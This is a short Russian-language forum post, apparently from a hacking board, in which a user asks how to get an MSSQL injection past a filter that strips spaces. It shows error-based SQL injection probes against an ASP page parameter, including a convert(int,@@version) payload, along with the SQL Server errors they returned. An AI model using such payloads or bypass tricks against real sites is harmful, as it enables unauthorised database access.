20.07.2010, 01:52
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами:
10340793
Репутация:
66
|
|
привет прошу с советом для mssql inj
пример линка:
script.asp?ID=111'
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]Microsoft OLE DB Provider[/COLOR][COLOR="#007700"]for[/COLOR][COLOR="#0000BB"]ODBC Drivers error[/COLOR][COLOR="#DD0000"]'80040e14'
[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]Microsoft[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]ODBC SQL Server Driver[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]SQL Server[/COLOR][COLOR="#007700"]]
[/COLOR][COLOR="#0000BB"]Incorrect syntax near ТУТ ОДИНАРНЫЙ КАВЫЧКА[/COLOR][COLOR="#007700"])[/COLOR][/COLOR]
script.asp?ID=111+and+convert(int,(@@version))--
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]Microsoft OLE DB Provider[/COLOR][COLOR="#007700"]for[/COLOR][COLOR="#0000BB"]ODBC Drivers error[/COLOR][COLOR="#DD0000"]'80040e14'
[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]Microsoft[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]ODBC SQL Server Driver[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]SQL Server[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]Incorrect syntax near[/COLOR][COLOR="#DD0000"]'andconvert'[/COLOR][COLOR="#007700"].[/COLOR][/COLOR]
тут вырезается пробели всех вариантов
в чем может быть трабла? Как нит можно обходить? |
|
|